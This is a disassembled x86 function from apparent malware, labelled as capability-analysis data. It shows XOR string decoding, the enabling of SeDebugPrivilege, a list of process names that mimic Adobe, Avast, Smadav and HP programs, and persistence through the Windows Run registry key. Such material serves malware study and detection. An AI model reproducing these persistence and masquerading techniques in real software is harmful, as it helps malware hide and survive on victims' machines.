Function at 0x1002ef5c
Capabilities:
Encode data using xor
Persist via run registry key

Disassembly:
push edi
push esi
sub esp, 0x300
movups xmm0, xmmword [0x100426b4]
movups xmmword [esp + 0x268], xmm0
movups xmm0, xmmword [str.AdobeHelper.exe]
movups xmmword [esp + 0x258], xmm0
movzx eax, word [0x100426e4]
mov word [esp + 0x5c], ax
movups xmm0, xmmword [0x100426d4]
movups xmmword [esp + 0x4c], xmm0
movups xmm0, xmmword [str.AdobeUpdates.exe]
movups xmmword [esp + 0x3c], xmm0
movups xmm0, xmmword [0x100426f6]
movups xmmword [esp + 0x248], xmm0
movups xmm0, xmmword [str.AdobeUpdate.exe]
movups xmmword [esp + 0x238], xmm0
movups xmm0, xmmword [0x10042716]
movups xmmword [esp + 0x228], xmm0
movups xmm0, xmmword [str.AAM_Updates.exe]
movups xmmword [esp + 0x218], xmm0
movups xmm0, xmmword [0x10042734]
movups xmmword [esp + 0x1b2], xmm0
movups xmm0, xmmword [str.AAM_Update.exe]
movups xmmword [esp + 0x1a4], xmm0
movups xmm0, xmmword [0x1004274e]
movups xmmword [esp + 0xa2], xmm0
movups xmm0, xmmword [str.AcroRd32.exe]
movups xmmword [esp + 0x98], xmm0
movups xmm0, xmmword [0x1004276a]
movups xmmword [esp + 0x138], xmm0
movups xmm0, xmmword [str.acrotrays.exe]
movups xmmword [esp + 0x12c], xmm0
movups xmm0, xmmword [0x10042784]
movups xmmword [esp + 0x86], xmm0
movups xmm0, xmmword [str.AvastSvc.exe]
movups xmmword [esp + 0x7c], xmm0
movsd xmm0, qword [0x100427a4]
movsd qword [esp + 0x10], xmm0
movups xmm0, xmmword [str.AvastNM.exe]
movups xmmword [esp], xmm0
movups xmm0, xmmword [0x100427b8]
movups xmmword [esp + 0x11c], xmm0
movups xmm0, xmmword [str.AssistPro.exe]
movups xmmword [esp + 0x110], xmm0
movups xmm0, xmmword [0x100427d2]
movups xmmword [esp + 0x6a], xmm0
movups xmm0, xmmword [str.EwsProxy.exe]
movups xmmword [esp + 0x60], xmm0
movups xmm0, xmmword [0x100427ee]
movups xmmword [esp + 0x100], xmm0
movups xmm0, xmmword [str.HpDigital.exe]
movups xmmword [esp + 0xf4], xmm0
mov eax, dword [0x1004281e]
mov dword [esp + 0xd4], eax
movups xmm0, xmmword [0x1004280e]
movups xmmword [esp + 0xc4], xmm0
movups xmm0, xmmword [str.SmadavProtect.exe]
movups xmmword [esp + 0xb4], xmm0
movsd xmm0, qword [0x10042840]
movsd qword [esp + 0x166], xmm0
movups xmm0, xmmword [0x10042832]
movups xmmword [esp + 0x158], xmm0
movups xmm0, xmmword [str.SmadavProtects.exe]
movups xmmword [esp + 0x148], xmm0
movzx eax, word [0x10042868]
mov word [esp + 0x38], ax
movups xmm0, xmmword [0x10042858]
movups xmmword [esp + 0x28], xmm0
movups xmm0, xmmword [str.SmadavHelper.exe]
movups xmmword [esp + 0x18], xmm0
movups xmm0, xmmword [0x10042876]
movups xmmword [esp + 0xe4], xmm0
movups xmm0, xmmword [str.SmadavSvc.exe]
movups xmmword [esp + 0xd8], xmm0
movups xmm0, xmmword [0x10042896]
movups xmmword [esp + 0x208], xmm0
movups xmm0, xmmword [str.AdobePhotos.exe]
movups xmmword [esp + 0x1f8], xmm0
movzx eax, word [0x100428d6]
mov word [esp + 0x1a0], ax
movups xmm0, xmmword [0x100428c6]
movups xmmword [esp + 0x190], xmm0
movups xmm0, xmmword [0x100428b6]
movups xmmword [esp + 0x180], xmm0
movups xmm0, xmmword [str.Adobe_Genuine_Helper.exe]
movups xmmword [esp + 0x170], xmm0
mov eax, dword [0x10042908]
mov dword [esp + 0x1f4], eax
movups xmm0, xmmword [0x100428f8]
movups xmmword [esp + 0x1e4], xmm0
movups xmm0, xmmword [0x100428e8]
movups xmmword [esp + 0x1d4], xmm0
movups xmm0, xmmword [str.Adobe_Genuine_Helpers.exe]
movups xmmword [esp + 0x1c4], xmm0
movzx eax, word [0x1004292c]
lea esi, [esp + 0x2dc]
mov word [esi + 0x20], ax
movups xmm0, xmmword [0x1004291c]
movups xmmword [esi + 0x10], xmm0
movups xmm0, xmmword [str.SeDebugPrivilege]
movups xmmword [esi], xmm0
push 1
push esi
call fcn.10019580
add esp, 8
movaps xmm0, xmmword [0x10042210]
movups xmmword [esp + 0x288], xmm0
movaps xmm0, xmmword [0x10042220]
movups xmmword [esp + 0x298], xmm0
mov word [esp + 0x2a8], 0xeff3
mov word [esp + 0x2da], 0
movaps xmm0, xmmword [0x10042230]
movups xmmword [esp + 0x278], xmm0
movdqa xmm0, xmmword [0x1003fbc0]
xor eax, eax
inc eax
movdqa xmm1, xmmword [0x10042040]
movdqa xmm2, xmmword [str._b_b_b_b_b_b_b_bS]
movdqu xmm3, xmmword [esp + eax*2 + 0x278]
movdqa xmm4, xmm0
paddw xmm4, xmm1
pxor xmm4, xmm3
movdqu xmmword [esp + eax*2 + 0x278], xmm4
paddw xmm0, xmm2
add eax, 8
cmp eax, 0x31
jne 0x1002f280
lea edi, [esp + 0x278]
mov word [edi + 0x62], 0
push edi
call fcn.100303d0
add esp, 4
lea eax, [esp + 0x1c4]
push eax
call fcn.100303d0
add esp, 4
lea eax, [esp + 0x170]
push eax
call fcn.100303d0
add esp, 4
lea eax, [esp + 0x1f8]
push eax
call fcn.100303d0
add esp, 4
lea eax, [esp + 0xd8]
push eax
call fcn.100303d0
add esp, 4
lea eax, [esp + 0xb4]
push eax
call fcn.100303d0
add esp, 4
lea eax, [esp + 0x148]
push eax
call fcn.100303d0
add esp, 4
lea eax, [esp + 0x18]
push eax
call fcn.100303d0
add esp, 4
lea eax, [esp + 0x60]
push eax
call fcn.100303d0
add esp, 4
lea eax, [esp + 0xf4]
push eax
call fcn.100303d0
add esp, 4
lea eax, [esp + 0x258]
push eax
call fcn.100303d0
add esp, 4
lea eax, [esp + 0x3c]
push eax
call fcn.100303d0
add esp, 4
lea eax, [esp + 0x238]
push eax
call fcn.100303d0
add esp, 4
lea eax, [esp + 0x218]
push eax
call fcn.100303d0
add esp, 4
lea eax, [esp + 0x1a4]
push eax
call fcn.100303d0
add esp, 4
lea eax, [esp + 0x98]
push eax
call fcn.100303d0
add esp, 4
lea eax, [esp + 0x12c]
push eax
call fcn.100303d0
add esp, 4
lea eax, [esp + 0x7c]
push eax
call fcn.100303d0
add esp, 4
mov eax, esp
push eax
call fcn.100303d0
add esp, 4
lea eax, [esp + 0x110]
push eax
call fcn.100303d0
add esp, 4
push 0x5c
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push edi
call fcn.100318d0
add esp, 8
push edi
push 0x80000001
call fcn.100305ca
add esp, 8
push edi
push 0x80000002
call fcn.100305ca
add esp, 0xc
push 0
push esi
call fcn.10019580
add esp, 0x308
pop esi
pop edi
ret